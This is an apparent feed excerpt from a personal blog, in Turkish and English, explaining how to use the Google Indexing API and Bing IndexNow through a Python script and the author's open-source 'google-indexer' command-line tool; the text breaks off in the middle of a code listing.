sim&uuml;lasyon yap&inodot;p ne gidece&gbreve;ine bak:</span> google-indexer<span class="w"> </span>bing<span class="w"> </span>--dry-run <span class="c1"># Canl&inodot; olarak Bing'e g&ouml;nder:</span> google-indexer<span class="w"> </span>bing </code></pre></div> <p>&Idot;&scedil;lem bu kadar! Terminalde <code>Status Code: 200</code> veya <code>202</code> yan&inodot;t&inodot;n&inodot; ve "CSV file updated" mesaj&inodot;n&inodot; g&ouml;rd&uuml;&gbreve;&uuml;nde, yeni URL'leriniz ba&scedil;ar&inodot;yla Bing'e iletilmi&scedil; ve tekrar g&ouml;nderilmemek &uuml;zere zaman damgas&inodot;yla i&scedil;aretlenmi&scedil; demektir.</p> <hr/> <h2 id="neler-ogrendik_1">📋 Neler &Ouml;&gbreve;rendik?<a class="headerlink" href="#neler-ogrendik" title="Permanent link">#</a></h2> <ul> <li><strong>An&inodot;nda Bildirim:</strong> &Idot;&ccedil;eriklerin yay&inodot;nland&inodot;&gbreve;&inodot; an IndexNow protokol&uuml; ile arama motorlar&inodot;n&inodot;n haberi olur.</li> <li><strong>Tek Komutla Otomasyon:</strong> <code>google-indexer</code> sayesinde t&uuml;m yeni yaz&inodot;lar&inodot; tek t&inodot;kla Bing'e bildirebiliriz.</li> <li><strong>&Ccedil;oklu Arama Motoru Deste&gbreve;i:</strong> Bing'e g&ouml;nderdi&gbreve;imiz ping, kat&inodot;l&inodot;mc&inodot; di&gbreve;er arama motorlar&inodot;na da otomatik olarak da&gbreve;&inodot;t&inodot;l&inodot;r.</li> <li><strong>Verimli Veritaban&inodot;:</strong> Ara&ccedil;, daha &ouml;nce g&ouml;nderilen URL'leri tekrar tekrar g&ouml;ndermeyerek API limitlerini yormaz.</li> </ul> <hr/> <h2 id="son-soz">🎯 Son S&ouml;z<a class="headerlink" href="#son-soz" title="Permanent link">#</a></h2> <p>G&ouml;rd&uuml;&gbreve;&uuml;n gibi, <strong>otomatik Bing IndexNow kullan&inodot;m&inodot;</strong> sayesinde i&ccedil;eri&gbreve;inin arama motorlar&inodot; taraf&inodot;ndan ke&scedil;fedilmesini pasif bir &scedil;ekilde beklemek zorunda de&gbreve;ilsin. Bu basit ama g&uuml;&ccedil;l&uuml; otomasyon ile sitenin SEO performans&inodot;n&inodot; tavan yapt&inodot;rabilirsin.</p> <p>Siz de bu sistemi kurdunuz mu veya kurmay&inodot; d&uuml;&scedil;&uuml;n&uuml;yor musunuz? Yorumlarda deneyimlerinizi ve sorular&inodot;n&inodot;z&inodot; payla&scedil;maktan &ccedil;ekinmeyin! 👇</p> <hr/> <ul> <li><a href="/google-indexing-api-nasil-kullanilir/">Rehber: Google Indexing API kullan&inodot;m&inodot;</a></li> <li><a href="https://github.com/yuceltoluyag/google-indexing-tool" rel="noopener noreferrer" target="_blank">GitHub Proje Sayfas&inodot;</a></li> </ul> <p><img alt="Bing IndexNow otomatik dizinleme ile sitenizi an&inodot;nda arama sonu&ccedil;lar&inodot;na ekleyin." class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/bing-indexnow-otomatik-dizinleme-seo-sonuc-xl.webp" srcset="/images/bing-indexnow-otomatik-dizinleme-seo-sonuc-sm.webp 300w, /images/bing-indexnow-otomatik-dizinleme-seo-sonuc-md.webp 500w, /images/bing-indexnow-otomatik-dizinleme-seo-sonuc-lg.webp 800w, /images/bing-indexnow-otomatik-dizinleme-seo-sonuc-xl.webp 1200w"/></p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p><strong>Ping:</strong> Bilgisayar a&gbreve;lar&inodot;nda, bir hedefe k&uuml;&ccedil;&uuml;k bir veri paketi g&ouml;nderip yan&inodot;t&inodot;n&inodot; bekleyerek o hedefin ula&scedil;&inodot;labilir olup olmad&inodot;&gbreve;&inodot;n&inodot; test etme veya bir servise durum de&gbreve;i&scedil;ikli&gbreve;ini anl&inodot;k olarak bildirme i&scedil;lemidir.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-05T20:45:00+03:002025-11-05T20:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-05:/en/google-indexing-api-nasil-kullanilir/

<p>Quickly notify Google about new or deleted pages with Google Indexing API. A step-by-step guide with example Python code to speed up your SEO process.</p>

<h2 id="what-is-google-indexing-api">🚀 What is Google Indexing API?<a class="headerlink" href="#what-is-google-indexing-api" title="Permanent link">#</a></h2> <p>Did you write a new blog post, publish it with excitement, but Google hasn't crawled your site in days? 😤 This is exactly where the Google Indexing API comes to the rescue. This API allows you to instantly whisper content updates, new pages, or deleted links to Google bots.</p> <p>Think of it like a hot Turkish simit fresh out of the oven, but its aroma hasn't spread to the street yet. Waiting for Google bots to crawl and discover your site on their own requires as much patience as playing Space Cadet Pinball in a cold morning wearing your school uniform. The Indexing API is that secret force that spreads the smell of that warm simit to the street (meaning Google index) in a matter of seconds.</p> <div class="admonition note"> <p class="admonition-title">Note: API Limits and Official Support</p> <p>Google claims that it officially supports this API only for <code>JobPosting</code> and <code>BroadcastEvent</code> structured data types. But off the record, it works like a charm for blogs and news portals, getting pages indexed at the speed of light.</p> </div> <p>✍️ My Personal Experience</p> <p>I've changed my blog system so many times that I lost count. Sometimes I used Jekyll, sometimes I switched to Pelican, and I even dabbled with WordPress for a while. With every system and domain change, my link structures became a total mess. The result? 😩 My beloved articles that once ranked on the first page of Google were deleted, as if they had never existed on the internet. I was terrified of my hard work going to waste. This paranoia and disappointment drove my research and led me to the Google Indexing API. Even in this era where AI technologies dominate and people's blog-reading habits are declining, reaching a "small but dedicated" audience is priceless to me. This system became my lifesaver.</p> <hr/> <h2 id="necessary-preparations">🧩 Necessary preparations<a class="headerlink" href="#necessary-preparations" title="Permanent link">#</a></h2> <p>Before using the Google Indexing API, we need to put some keys in our pockets to knock on Google's door.</p> <h3 id="1-create-a-google-cloud-project">1. Create a Google Cloud Project<a class="headerlink" href="#1-create-a-google-cloud-project" title="Permanent link">#</a></h3> <p>First, we need a Google Cloud project: - Go to <a href="https://console.cloud.google.com/" rel="noopener noreferrer" target="_blank">Google Cloud Console</a> and create a new project. - Search for the "<strong>Web Search Indexing API</strong>" service and enable it for your project.</p> <p><img alt="Guide on how to use Google Indexing API with Python" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/google-indexing-api-nasil-kullanilir-xl.webp" srcset="/images/google-indexing-api-nasil-kullanilir-sm.webp 300w, /images/google-indexing-api-nasil-kullanilir-md.webp 500w, /images/google-indexing-api-nasil-kullanilir-lg.webp 800w, /images/google-indexing-api-nasil-kullanilir-xl.webp 1200w"/></p> <h3 id="2-configure-a-service-account">2. Configure a Service Account<a class="headerlink" href="#2-configure-a-service-account" title="Permanent link">#</a></h3> <p>We need to create a virtual identity to call the API via our code: - Go to Cloud Console &gt; "APIs &amp; Services" &gt; "Credentials" menu. - Click "Create credentials" &gt; "Service account."</p> <p><img alt="Creating Google Indexing API Credentials" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/google-indexing-api-service-account-xl.webp" srcset="/images/google-indexing-api-service-account-sm.webp 300w, /images/google-indexing-api-service-account-md.webp 500w, /images/google-indexing-api-service-account-lg.webp 800w, /images/google-indexing-api-service-account-xl.webp 1200w"/></p> <ul> <li>Give the account a memorable name and click "Create and continue." You can skip the subsequent steps.</li> <li>Once completed, you will see an email address in the format <code>indexer@project-id.iam.gserviceaccount.com</code>. Copy this email address; we'll need it for Search Console authorization.</li> </ul> <p><img alt="Creating Google Indexing API Key" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/google-indexing-api-add-key-xl.webp" srcset="/images/google-indexing-api-add-key-sm.webp 300w, /images/google-indexing-api-add-key-md.webp 500w, /images/google-indexing-api-add-key-lg.webp 800w, /images/google-indexing-api-add-key-xl.webp 1200w"/></p> <ul> <li>Click on the service account you created, go to the "Keys" tab, and click "Add Key" &gt; "Create new key."</li> <li>Select <strong>JSON</strong> format and download it. Rename this file to <code>service-account.json</code>. This file is your private key, keep it secure.</li> </ul> <h3 id="3-grant-google-search-console-permission">3. Grant Google Search Console Permission<a class="headerlink" href="#3-grant-google-search-console-permission" title="Permanent link">#</a></h3> <p>To prevent Google from asking, "Wait, are you trying to index someone else's site?", we must authorize our service account: - Go to the Google <a href="https://search.google.com/search-console/users" rel="noopener noreferrer" target="_blank">Search Console</a> page. - Navigate to Settings &gt; Users and Permissions &gt; Add User. - Enter the service account email address you copied and select the role as <strong>Owner</strong>. If you grant lesser permissions, the script will throw errors.</p> <div class="admonition warning"> <p class="admonition-title">Warning! Search Console API Authorization</p> <p>Just enabling the Indexing API is not enough! For our smart tool to inspect URL status, you also need to enable the <a href="https://console.developers.google.com/apis/api/searchconsole.googleapis.com/overview" rel="noopener noreferrer" target="_blank">Google Search Console API</a> service in the same Cloud project.</p> </div> <hr/> <h2 id="using-google-indexing-api-with-python_1">💻 Using Google Indexing API with Python<a class="headerlink" href="#using-google-indexing-api-with-python" title="Permanent link">#</a></h2> <p>If you want to try everything from scratch with bare code, the simple Python script below reads URLs from a CSV file and submits them to Google.</p> <div class="highlight"><pre><span></span><code><span class="kn">from</span><span class="w"> </span><span class="nn">google.auth.transport.requests</span><span class="w"> </span><span class="kn">import</span> <span class="n">AuthorizedSession</span> <span class="kn">from</span><span class="w"> </span><span class="nn">google.oauth2</span><span class="w"> </span><span class="kn">import</span> <span class="n">service_account</span> <span class="kn">import</span><span class="w"> </span><span class="nn">csv</span> <span class="n">SERVICE_ACCOUNT_FILE</span> <span class="o">=</span> <span class="s1">'service-account.json'</span> <span class="n">SCOPES</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'https://www.googleapis.com/auth/indexing'</span><span class="p">]</span> <span class="n">API_URL</span> <span class="o">=</span> <span class="s1">'https://indexing.googleapis.com/v3/urlNotifications:publish'</span> <span class="n">credentials</span> <span class="o">=</span> <span class="n">service_account</span><span class="o">.</span><span class="n">Credentials</span><span class="o">.</span><span class="n">from_service_account_file</span><span class="p">(</span> <span class="n">SERVICE_ACCOUNT_FILE</span><span class="p">,</span> <span class="n">scopes</span><span class="o">=</span><span class="n">SCOPES</span><span class="p">)</span> <span class="n">session</span> <span class="o">=</span> <span class="n">AuthorizedSession</span><span class="p">(</span><span class="n">credentials</span><span class="p">)</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'urls.csv'</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span> <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">reader</span><span class="p">(</span><span class="n">file</span><span class="p">)</span> <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span> <span class="n">url</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="n">body</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'url'</span><span class="p">:</span> <span class="n">url</span><span class="p">,</span> <span class="s1">'type'</span><span class="p">:</span> <span class="s1">'URL_UPDATED'</span><span class="p">}</span> <span class="n">response</span> <span class="o">=</span> <span class="n">session</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">API_URL</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">body</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s2"> -&gt; </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span> </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Tip ⚡ Quick solutions or shortcuts.</p> <p>The <code>URL_UPDATED</code> parameter indicates the page was added or updated. If you want to remove an obsolete URL from Google's index, you should send <code>URL_DELETED</code> instead.</p> </div> <hr/> <h2 id="modern-solution-for-multi-project-setup-google-bing-indexing-tool">🔧 Modern Solution for Multi-Project Setup: Google &amp; Bing Indexing Tool<a class="headerlink" href="#modern-solution-for-multi-project-setup-google-bing-indexing-tool" title="Permanent link">#</a></h2> <p>Wrestling with basic scripts and executing them manually every day is like eating plain instant noodles. If we want a professional approach, we should manage it cleanly.</p> <p>To resolve the indexing issues across all my blogs, I developed the open-source <a href="https://github.com/yuceltoluyag/google-indexing-tool" rel="noopener noreferrer" target="_blank">Google Indexing Tool</a>. It automates the entire workflow and even includes Bing IndexNow integration.</p> <p>The best part? You can install it <strong>globally</strong> and run it in any blog project folder with a single command.</p> <h3 id="global-installation-and-setup">📦 Global Installation and Setup<a class="headerlink" href="#global-installation-and-setup" title="Permanent link">#</a></h3> <p>Open your terminal and install the tool directly from GitHub:</p> <div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>git+https://github.com/yuceltoluyag/google-indexing-tool.git </code></pre></div> <p>This registers a global <code>google-indexer</code> CLI command on your system. Now you can run it inside any blog directory.</p> <p>Create a <code>config.ini</code> file in your blog project's root folder and fill it:</p> <div class="highlight"><pre><span></span><code><span class="k">[PELICAN]</span> <span class="na">ARTICLES_PATH</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">content/articles</span> <span class="na">SITE_URL</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">https://yuceltoluyag.github.io/</span> <span class="k">[DEFAULT]</span> <span class="na">CSV_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">article_links.csv</span> <span class="na">SERVICE_ACCOUNT_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">service-account.json</span> <span class="na">LOG_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">indexing.log</span> <span class="k">[API]</span> <span class="na">URL</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">https://indexing.googleapis.com/v3/urlNotifications:publish</span> <span class="na">REQUEST_DELAY_SECONDS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10</span> <span class="na">COOLDOWN_DAYS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">3</span> <span class="k">[BING]</span> <span class="na">API_KEY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">your_bing_indexnow_api_key</span> <span class="na">KEY_LOCATION</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">https://yuceltoluyag.github.io/your_bing_indexnow_api_key.txt</span> </code></pre></div> <div class="admonition note"> <p class="admonition-title">Note: Cooldown &amp; Request Delays</p> <p>Thanks to the <code>COOLDOWN_DAYS = 3</code> setting, any URLs that aren't indexed yet but have been submitted are protected from re-submission for 3 days. This prevents us from spamming Google and getting penalized. The <code>REQUEST_DELAY_SECONDS = 10</code> adds a delay between API requests to respect rate limits.</p> </div> <hr/> <h3 id="step-by-step-smart-workflow">⚙️ Step-by-Step Smart Workflow<a class="headerlink" href="#step-by-step-smart-workflow" title="Permanent link">#</a></h3> <p>Once your setup is ready, navigate to your blog directory and run these commands:</p> <h4 id="step-1-export-pelican-posts-to-the-csv-database">Step 1: Export Pelican Posts to the CSV Database<a class="headerlink" href="#step-1-export-pelican-posts-to-the-csv-database" title="Permanent link">#</a></h4> <p>Scan your blog and append all active article links to the tracking list (<code>article_links.csv</code>):</p> <div class="highlight"><pre><span></span><code>google-indexer<span class="w"> </span><span class="nb">export</span> </code></pre></div> <h4 id="step-2-submit-to-bing-indexnow-in-batches">Step 2: Submit to Bing IndexNow in Batches<a class="headerlink" href="#step-2-submit-to-bing-indexnow-in-batches" title="Permanent link">#</a></h4> <p>Bing accepts all new links in a single payload, which is incredibly efficient:</p> <div class="highlight"><pre><span></span><code><span class="c1"># Preview what will be sent (dry run):</span> google-indexer<span class="w"> </span>bing<span class="w"> </span>--dry-run <span class="c1"># Live submit to Bing:</span> google-indexer<span class="w"> </span>bing </code></pre></div> <h4 id="step-3-smart-google-inspection-and-submission-smart-mode">Step 3: Smart Google Inspection and Submission (Smart Mode)<a class="headerlink" href="#step-3-smart-google-inspection-and-submission-smart-mode" title="Permanent link">#</a></h4> <p>Pay close attention, this is the most critical step. This command inspects the current indexing status of pending URLs in our list using the Google Search Console API<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>. If a page is already indexed, its status updates to <code>PASS</code>. If it is not indexed and the cooldown period has expired, it gets submitted to the Google Indexing API, and a 3-day cooldown timer starts.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Perform a safe simulation run:</span> google-indexer<span class="w"> </span>smart<span class="w"> </span>--dry-run<span class="w"> </span>--limit<span class="w"> </span><span class="m">10</span> <span class="c1"># Execute live inspection and submission:</span> google-indexer<span class="w"> </span>smart<span class="w"> </span>--limit<span class="w"> </span><span class="m">50</span> </code></pre></div> <p>If you only want to check the status of a specific URL without wasting your API quota, use:</p> <div class="highlight"><pre><span></span><code>google-indexer<span class="w"> </span>inspect<span class="w"> </span>--url<span class="w"> </span>https://yuceltoluyag.github.io/my-article-link/ </code></pre></div> <hr/> <h2 id="seo-insights-and-quota-policies_1">⏳ SEO Insights and Quota Policies<a class="headerlink" href="#seo-insights-and-quota-policies" title="Permanent link">#</a></h2> <p>When using search engine APIs, we need to manage our limits as strictly as a tight household budget. The boundaries are clear: - <strong>Google Indexing API:</strong> Daily quota is capped at <strong>200 URLs</strong>. Setting the smart command limit to 50 or 100 is a smart move. - <strong>Bing IndexNow API:</strong> Allows up to <strong>10,000 URLs</strong> in a single batch request. - <strong>Spam Prevention:</strong> Repeatedly submitting the same URLs ruins your site's reputation. Never disable the built-in cooldown mechanism.</p> <hr/> <h2 id="summary-of-key-takeaways">📋 Summary of Key Takeaways<a class="headerlink" href="#summary-of-key-takeaways" title="Permanent link">#</a></h2> <ul> <li>The Google Indexing API allows us to notify search bots instantly instead of waiting days.</li> <li>Creating a service account and granting it "Owner" permission in Search Console is a hard prerequisite.</li> <li>The <code>google-indexer</code> tool manages this process safely via a local CSV database to prevent spam.</li> <li>Bing IndexNow integration keeps our Bing index updated with a single batch command.</li> </ul> <hr/> <h2 id="final-words">🎯 Final Words<a class="headerlink" href="#final-words" title="Permanent link">#</a></h2> <p>Long story short, instead of passively waiting for Google bots to crawl your site, you can take control. You can bind this tool to a daily cron job or task scheduler on your server or machine, sit back, and relax.</p> <p><strong>Explore More:</strong> - <a href="/en/github-sadece-bir-klasor-indirme/">Git sparse-checkout guide</a> - <a href="/en/otomatik-bing-indexnow-kullanimi">Bing IndexNow usage guide</a></p> <hr/> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>The Google Search Console API is the official interface that allows you to programmatically inspect your URLs' live indexation status and coverage issues.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-05T20:45:00+03:002025-11-05T20:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-05:/google-indexing-api-nasil-kullanilir/

<p>Google Indexing API ile yeni veya silinen sayfaları hızlıca Google’a bildir. SEO sürecini hızlandırmak için örnek Python koduyla adım adım anlatım.</p>

<h2 id="google-indexing-api-nedir">🚀 Google Indexing API nedir?<a class="headerlink" href="#google-indexing-api-nedir" title="Permanent link">#</a></h2> <p>Yeni bir blog yaz&inodot;s&inodot; yazd&inodot;n, heyecanla yay&inodot;na ald&inodot;n ama Google g&uuml;nlerdir sitene u&gbreve;ram&inodot;yor mu? 😤 &Idot;&scedil;te tam bu noktada Google Indexing API imdada yeti&scedil;iyor. Bu API, i&ccedil;erik g&uuml;ncellemelerini, yeni sayfalar&inodot; veya silinen linkleri Google botlar&inodot;na an&inodot;nda f&inodot;s&inodot;ldaman&inodot; sa&gbreve;lar. </p> <p>D&uuml;&scedil;&uuml;n ki f&inodot;r&inodot;ndan taze simit &ccedil;&inodot;km&inodot;&scedil; ama kokusu hen&uuml;z soka&gbreve;a yay&inodot;lmam&inodot;&scedil;. Google botlar&inodot;n&inodot;n kendi kendine gelip siteni ke&scedil;fetmesini beklemek, sabah ayaz&inodot;nda okul formas&inodot;yla Space Cadet Pinball oynamak kadar sab&inodot;r gerektirir. &Idot;&scedil;te Indexing API, o s&inodot;cak simitin kokusunu soka&gbreve;a (yani Google dizinine) saniyeler i&ccedil;inde yayan gizli g&uuml;&ccedil;t&uuml;r.</p> <div class="admonition note"> <p class="admonition-title">Not: API S&inodot;n&inodot;rlar&inodot; ve Resmi Destek</p> <p>Google bu API'yi resmi olarak sadece <code>JobPosting</code> (&Idot;&scedil; &Idot;lan&inodot;) ve <code>BroadcastEvent</code> (Canl&inodot; Yay&inodot;n) yap&inodot;sal veri t&uuml;rleri i&ccedil;in destekledi&gbreve;ini iddia ediyor. Fakat aram&inodot;zda kals&inodot;n; blog sitelerinde, haber portallar&inodot;nda da t&inodot;k&inodot;r t&inodot;k&inodot;r &ccedil;al&inodot;&scedil;&inodot;yor ve sayfalar&inodot; &inodot;&scedil;&inodot;k h&inodot;z&inodot;nda dizine ekletiyor.</p> </div> <p>✍️ Ki&scedil;isel Deneyimim</p> <p>Ge&ccedil;mi&scedil;te blog sistemimi ka&ccedil; kez de&gbreve;i&scedil;tirdi&gbreve;imi ben bile unuttum. Bazen Jekyll kulland&inodot;m, bazen Pelican'a ge&ccedil;tim, bir ara WordPress'e bile bula&scedil;t&inodot;m. Her sistem ve domain de&gbreve;i&scedil;ikli&gbreve;inde link yap&inodot;lar&inodot;m &ccedil;orba oldu. Sonu&ccedil;? 😩 Bir zamanlar Google'da ilk sayfada yer alan can&inodot;m makalelerim, sanki internette hi&ccedil; var olmam&inodot;&scedil; gibi silindi gitti. Eme&gbreve;imin bo&scedil;a gitmesinden deli gibi korktum. &Idot;&scedil;te bu paronaya ve hayal k&inodot;r&inodot;kl&inodot;&gbreve;&inodot;yla yapt&inodot;&gbreve;&inodot;m ara&scedil;t&inodot;rmalar beni Google Indexing API ile tan&inodot;&scedil;t&inodot;rd&inodot;. AI teknolojilerinin her &scedil;eyi ele ge&ccedil;irdi&gbreve;i, insanlar&inodot;n blog okuma al&inodot;&scedil;kanl&inodot;klar&inodot;n&inodot;n azald&inodot;&gbreve;&inodot; bu d&ouml;nemde bile, "az ama &ouml;z" kitleye ula&scedil;mak benim i&ccedil;in paha bi&ccedil;ilemez. Bu y&uuml;zden bu sistem benim can simidim oldu.</p> <hr/> <h2 id="gerekli-hazrlklar">🧩 Gerekli haz&inodot;rl&inodot;klar<a class="headerlink" href="#gerekli-hazrlklar" title="Permanent link">#</a></h2> <p>Google Indexing API'yi kullanmaya ba&scedil;lamadan &ouml;nce, Google'&inodot;n kap&inodot;s&inodot;n&inodot; &ccedil;alabilmek i&ccedil;in baz&inodot; anahtarlar&inodot; cebimize koymam&inodot;z gerekiyor.</p> <h3 id="1-google-cloud-projesi-olustur">1. Google Cloud Projesi Olu&scedil;tur<a class="headerlink" href="#1-google-cloud-projesi-olustur" title="Permanent link">#</a></h3> <p>&Idot;lk i&scedil; olarak bir Google Cloud projesine ihtiyac&inodot;m&inodot;z var: - <a href="https://console.cloud.google.com/" rel="noopener noreferrer" target="_blank">Google Cloud Console</a> adresine git, yeni bir proje olu&scedil;tur. - Sol men&uuml;den ya da arama &ccedil;ubu&gbreve;undan "<strong>Web Search Indexing API</strong>" servisini bul ve projende etkinle&scedil;tir.</p> <p><img alt="Google Indexing API Python ile nas&inodot;l kullan&inodot;l&inodot;r rehberi" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/google-indexing-api-nasil-kullanilir-xl.webp" srcset="/images/google-indexing-api-nasil-kullanilir-sm.webp 300w, /images/google-indexing-api-nasil-kullanilir-md.webp 500w, /images/google-indexing-api-nasil-kullanilir-lg.webp 800w, /images/google-indexing-api-nasil-kullanilir-xl.webp 1200w"/></p> <h3 id="2-service-account-hizmet-hesab-tanmla">2. Service Account (Hizmet Hesab&inodot;) Tan&inodot;mla<a class="headerlink" href="#2-service-account-hizmet-hesab-tanmla" title="Permanent link">#</a></h3> <p>API'yi kodumuzla &ccedil;a&gbreve;&inodot;rabilmek i&ccedil;in sanal bir kimlik olu&scedil;turmal&inodot;y&inodot;z: - Cloud Console &gt; "APIs &amp; Services" &gt; "Credentials" (Kimlik Bilgileri) men&uuml;s&uuml;ne gir. - "Create credentials" &gt; "Service account" se&ccedil;ene&gbreve;ine t&inodot;kla.</p> <p><img alt="Google Indexing API Credentials olu&scedil;turma" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/google-indexing-api-service-account-xl.webp" srcset="/images/google-indexing-api-service-account-sm.webp 300w, /images/google-indexing-api-service-account-md.webp 500w, /images/google-indexing-api-service-account-lg.webp 800w, /images/google-indexing-api-service-account-xl.webp 1200w"/></p> <ul> <li>Hesaba akl&inodot;nda kalacak, d&uuml;zg&uuml;n bir isim ver ve "Create and continue" de. Sonraki ad&inodot;mlar&inodot; direkt bo&scedil; ge&ccedil;erek tamamlayabilirsin.</li> <li>Bu i&scedil;lem bitti&gbreve;inde ekran&inodot;nda <code>indexer@proje-id.iam.gserviceaccount.com</code> format&inodot;nda bir e-posta adresi g&ouml;receksiniz. Bu e-postay&inodot; bir kenara kopyala, Search Console yetkilendirmesinde laz&inodot;m olacak.</li> </ul> <p><img alt="Google Indexing API Key olu&scedil;turma" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/google-indexing-api-add-key-xl.webp" srcset="/images/google-indexing-api-add-key-sm.webp 300w, /images/google-indexing-api-add-key-md.webp 500w, /images/google-indexing-api-add-key-lg.webp 800w, /images/google-indexing-api-add-key-xl.webp 1200w"/></p> <ul> <li>Olu&scedil;turdu&gbreve;un hizmet hesab&inodot;n&inodot;n detay&inodot;na gir, "Keys" (Anahtarlar) sekmesinden "Add Key" &gt; "Create new key" se&ccedil;ene&gbreve;ine t&inodot;kla.</li> <li>Format olarak <strong>JSON</strong> se&ccedil;ip bilgisayar&inodot;na indir. &Idot;nen bu dosyaya <code>service-account.json</code> ad&inodot;n&inodot; ver. Bu dosya senin gizli anahtar&inodot;nd&inodot;r, kimseyle payla&scedil;ma.</li> </ul> <h3 id="3-google-search-console-yetkisi-ver">3. Google Search Console Yetkisi Ver<a class="headerlink" href="#3-google-search-console-yetkisi-ver" title="Permanent link">#</a></h3> <p>Google'&inodot;n "Dur bakal&inodot;m, ba&scedil;kas&inodot;n&inodot;n sitesini dizine ekletmeye &ccedil;al&inodot;&scedil;m&inodot;yorsun ya?" dememesi i&ccedil;in hizmet hesab&inodot;n&inodot; yetkilendirmeliyiz: - Google <a href="https://search.google.com/search-console/users" rel="noopener noreferrer" target="_blank">Search Console</a> ekran&inodot;na git. - Ayarlar &gt; Kullan&inodot;c&inodot;lar ve &Idot;zinler &gt; Kullan&inodot;c&inodot; Ekle yolunu izle. - E-posta k&inodot;sm&inodot;na az &ouml;nce kopyalad&inodot;&gbreve;&inodot;n hizmet hesab&inodot; e-postas&inodot;n&inodot; yaz ve yetkiyi kesinlikle <strong>Sahibi (Owner)</strong> olarak se&ccedil;. Yetkiyi eksik verirsen kod hata verir, benden s&ouml;ylemesi.</p> <div class="admonition warning"> <p class="admonition-title">Dikkat! Arama Konsolu API Yetkisi</p> <p>Sadece Indexing API'yi a&ccedil;mak yetmez! Geli&scedil;tirdi&gbreve;imiz ak&inodot;ll&inodot; arac&inodot;n URL durumlar&inodot;n&inodot; denetleyebilmesi i&ccedil;in <a href="https://console.developers.google.com/apis/api/searchconsole.googleapis.com/overview" rel="noopener noreferrer" target="_blank">Google Search Console API</a> servisini de ayn&inodot; Cloud projesinde etkinle&scedil;tirmen gerekir.</p> </div> <hr/> <h2 id="python-ile-google-indexing-api-kullanm_1">💻 Python ile Google Indexing API Kullan&inodot;m&inodot;<a class="headerlink" href="#python-ile-google-indexing-api-kullanm" title="Permanent link">#</a></h2> <p>E&gbreve;er her &scedil;eyi s&inodot;f&inodot;rdan ve ham kodla denemek istersen, a&scedil;a&gbreve;&inodot;daki basit Python beti&gbreve;i bir CSV dosyas&inodot;ndaki linkleri s&inodot;rayla okuyup Google'a bildirir.</p> <div class="highlight"><pre><span></span><code><span class="kn">from</span><span class="w"> </span><span class="nn">google.auth.transport.requests</span><span class="w"> </span><span class="kn">import</span> <span class="n">AuthorizedSession</span> <span class="kn">from</span><span class="w"> </span><span class="nn">google.oauth2</span><span class="w"> </span><span class="kn">import</span> <span class="n">service_account</span> <span class="kn">import</span><span class="w"> </span><span class="nn">csv</span> <span class="n">SERVICE_ACCOUNT_FILE</span> <span class="o">=</span> <span class="s1">'service-account.json'</span> <span class="n">SCOPES</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'https://www.googleapis.com/auth/indexing'</span><span class="p">]</span> <span class="n">API_URL</span> <span class="o">=</span> <span class="s1">'https://indexing.googleapis.com/v3/urlNotifications:publish'</span> <span class="n">credentials</span> <span class="o">=</span> <span class="n">service_account</span><span class="o">.</span><span class="n">Credentials</span><span class="o">.</span><span class="n">from_service_account_file</span><span class="p">(</span> <span class="n">SERVICE_ACCOUNT_FILE</span><span class="p">,</span> <span class="n">scopes</span><span class="o">=</span><span class="n">SCOPES</span><span class="p">)</span> <span class="n">session</span> <span 